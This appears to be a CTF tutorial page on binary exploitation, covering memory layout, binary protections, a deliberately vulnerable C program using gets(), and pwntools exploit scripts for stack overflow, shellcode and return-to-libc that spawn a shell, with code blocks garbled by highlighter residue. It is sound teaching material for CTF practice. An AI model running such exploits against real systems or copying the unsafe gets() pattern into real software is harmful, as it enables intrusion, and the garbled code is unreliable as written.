Pwn (Binary Exploitation) challenges require exploiting memory corruption vulnerabilities to gain control of a program. From buffer overflows to format strings, these challenges test your understanding of how programs use memory.
Pwn is the most technically challenging CTF category. It requires understanding of assembly, memory layout, and exploitation techniques. Start with simple stack overflows before moving to heap or ROP!
Memory Layout
1606070;"># Process memory layout (simplified):2 3High addresses4┌─────────────────┐5│ Stack │ ← Local variables, return addresses6│ ↓ │ Grows DOWN7├─────────────────┤8│ │9│ Free space │10│ │11├─────────────────┤12│ ↑ │13│ Heap │ ← Dynamic allocations (malloc)14│ │ Grows UP15├─────────────────┤16│ .bss │ ← Uninitialized globals17├─────────────────┤18│ .data │ ← Initialized globals19├─────────────────┤20│ .text │ ← Program code21└─────────────────┘22Low addresses23 24606070;"># Stack frame:25┌─────────────────┐26│ Return Address │ ← We want to overwrite this!27├─────────────────┤28│ Saved RBP │ ← Previous frame pointer29├─────────────────┤30│ Local vars │ ← Our buffer is here31│ buffer[] │32└─────────────────┘Checking Protections
bash
1606070;"># checksec shows binary protections2checksec ./vuln3 4606070;"># Output example:5606070;"># RELRO: Partial RELRO6606070;"># Stack: No canary found7606070;"># NX: NX enabled8606070;"># PIE: No PIE9 10606070;"># Protection meanings:11 12606070;"># Stack Canary13606070;"># Random value before return address14606070;"># If overwritten, program crashes15606070;"># Bypass: Leak canary, or don't overwrite it16 17606070;"># NX (No-Execute) / DEP18606070;"># Stack memory not executable19606070;"># Can't run shellcode on stack20606070;"># Bypass: Return-to-libc, ROP21 22606070;"># PIE (Position Independent Executable)23606070;"># Code loaded at random address24606070;"># Can't hardcode addresses25606070;"># Bypass: Leak address, calculate offset26 27606070;"># ASLR (system-wide)28606070;"># Randomizes stack, heap, library addresses29606070;"># Bypass: Leak addresses, brute force (32-bit)30 31606070;"># RELRO (Relocation Read-Only)32606070;"># Full RELRO: GOT is read-only33606070;"># Partial RELRO: GOT writableBasic Buffer Overflow
c
1606070;">// Vulnerable program2606070;">#include <stdio.h>3 4void win() {5 system(606070;">#a5d6ff;">"/bin/sh"); // This gives us a shell!6}7 8void vuln() {9 char buffer[64];10 gets(buffer); 606070;">// DANGEROUS! No bounds checking11}12 13int main() {14 vuln();15 return 0;16}python
1606070;"># Exploit with pwntools2from pwn import *3 4606070;"># Connect to binary5606070;"># p = process("./vuln") # Local6p = remote(606070;">#a5d6ff;">"challenge.ctf", 1337) # Remote7 8606070;"># Find offset to return address9606070;"># Use cyclic pattern10606070;"># cyclic 100 in pwntools/gdb11 12offset = 72 606070;"># Found with pattern13 14606070;"># Address of win() function15606070;"># Find with: objdump -d vuln | grep win16win_addr = 0x40118617 18606070;"># Build payload19payload = b606070;">#a5d6ff;">"A" * offset20payload += p64(win_addr)21 22606070;"># Send it23p.sendline(payload)24 25606070;"># Get shell26p.interactive()Finding the Offset
bash
1606070;"># Method 1: pwntools cyclic2from pwn import *3 4606070;"># Generate pattern5pattern = cyclic(100)6print(pattern)7 8606070;"># Run program, it crashes9606070;"># Check what value is in RIP/EIP10 11606070;"># Find offset12cyclic_find(0x6161616c) 606070;"># Value from crash13 14606070;"># Method 2: GDB with pattern15gdb ./vuln16(gdb) run <<< $(python -c 606070;">#a5d6ff;">"print 'A'*100")17606070;"># Note: RSP/RIP value at crash18 19606070;"># Method 3: pwndbg20pwndbg> cyclic 10021pwndbg> run22606070;"># Input the pattern23pwndbg> cyclic -l $rsp24606070;"># Shows offsetShellcode (When NX Disabled)
python
1606070;"># If NX is disabled, we can execute shellcode on stack2 3from pwn import *4 5context.arch = 606070;">#a5d6ff;">'amd64'6 7606070;"># Generate shellcode8shellcode = asm(shellcraft.sh())9606070;"># Or use: shellcode = b"\x31\xc0\x50..."10 11606070;"># Need to know stack address (no ASLR)12606070;"># Or leak it13 14stack_addr = 0x7fffffffde00 606070;"># Example15 16offset = 7217 18payload = shellcode19payload += b606070;">#a5d6ff;">"A" * (offset - len(shellcode))20payload += p64(stack_addr) 606070;"># Jump to our shellcode21 22p = process(606070;">#a5d6ff;">"./vuln")23p.sendline(payload)24p.interactive()Modern systems have NX enabled by default, so shellcode-on-stack rarely works. You'll need ROP or ret2libc instead.
Return-to-libc
python
1606070;"># Call system("/bin/sh") without shellcode2 3from pwn import *4 5p = process(606070;">#a5d6ff;">"./vuln")6 7606070;"># Leak libc address (if ASLR)8606070;"># Or use given libc9 10libc = ELF(606070;">#a5d6ff;">"/lib/x86_64-linux-gnu/libc.so.6")11 12606070;"># Find gadgets and addresses13606070;"># In x64: First argument goes in RDI14606070;"># Need: pop rdi; ret gadget15 16pop_rdi = 0x401233 606070;"># Find with ROPgadget17bin_sh = next(libc.search(b606070;">#a5d6ff;">"/bin/sh"))18system = libc.symbols[606070;">#a5d6ff;">'system']19 20606070;"># If we have libc base:21libc_base = 0x7ffff7a00000 606070;"># Leaked somehow22bin_sh = libc_base + bin_sh23system = libc_base + system24 25offset = 7226 27payload = b606070;">#a5d6ff;">"A" * offset28payload += p64(pop_rdi) 606070;"># Pop next value into RDI29payload += p64(bin_sh) 606070;"># Address of "/bin/sh"30payload += p64(system) 606070;"># Call system()31 32p.sendline(payload)33p.interactive()Pwntools Essentials
python
1from pwn import *2 3606070;"># Context setup4context.arch = 606070;">#a5d6ff;">'amd64' # or 'i386'5context.os = 606070;">#a5d6ff;">'linux'6context.log_level = 606070;">#a5d6ff;">'debug' # See all traffic7 8606070;"># Connect9p = process(606070;">#a5d6ff;">"./vuln") # Local10p = remote(606070;">#a5d6ff;">"host.com", 1337) # Remote11p = gdb.debug(606070;">#a5d6ff;">"./vuln") # With GDB12 13606070;"># Send/receive14p.send(b606070;">#a5d6ff;">"data") # Send without newline15p.sendline(b606070;">#a5d6ff;">"data") # Send with newline16p.recv() 606070;"># Receive some data17p.recvline() 606070;"># Receive until newline18p.recvuntil(b606070;">#a5d6ff;">":") # Receive until string19p.interactive() 606070;"># Manual interaction20 21606070;"># Packing (convert int to bytes)22p64(0x401234) 606070;"># 64-bit little-endian23p32(0x401234) 606070;"># 32-bit little-endian24 25606070;"># Unpacking (bytes to int)26u64(b606070;">#a5d6ff;">"\x34\x12\x40\x00\x00\x00\x00\x00")27 28606070;"># Shellcode29shellcraft.sh() 606070;"># /bin/sh shellcode30asm(shellcraft.sh()) 606070;"># Assemble it31 32606070;"># ELF analysis33elf = ELF(606070;">#a5d6ff;">"./vuln")34elf.symbols[606070;">#a5d6ff;">'main'] # Address of main35elf.got[606070;">#a5d6ff;">'puts'] # GOT entry36elf.plt[606070;">#a5d6ff;">'puts'] # PLT entry37 38606070;"># Find gadgets39rop = ROP(elf)40rop.find_gadget([606070;">#a5d6ff;">'pop rdi', 'ret'])Knowledge Check
Quick Quiz
Question 1 of 2What does NX (No-Execute) protection prevent?
Key Takeaways
- Always check protections with checksec before exploiting
- Find offset with cyclic patterns, not trial and error
- NX enabled = use ROP/ret2libc instead of shellcode
- pwntools makes exploit development much easier
- In x64, first argument is in RDI register
- Start with simple challenges (no PIE, no canary, no ASLR)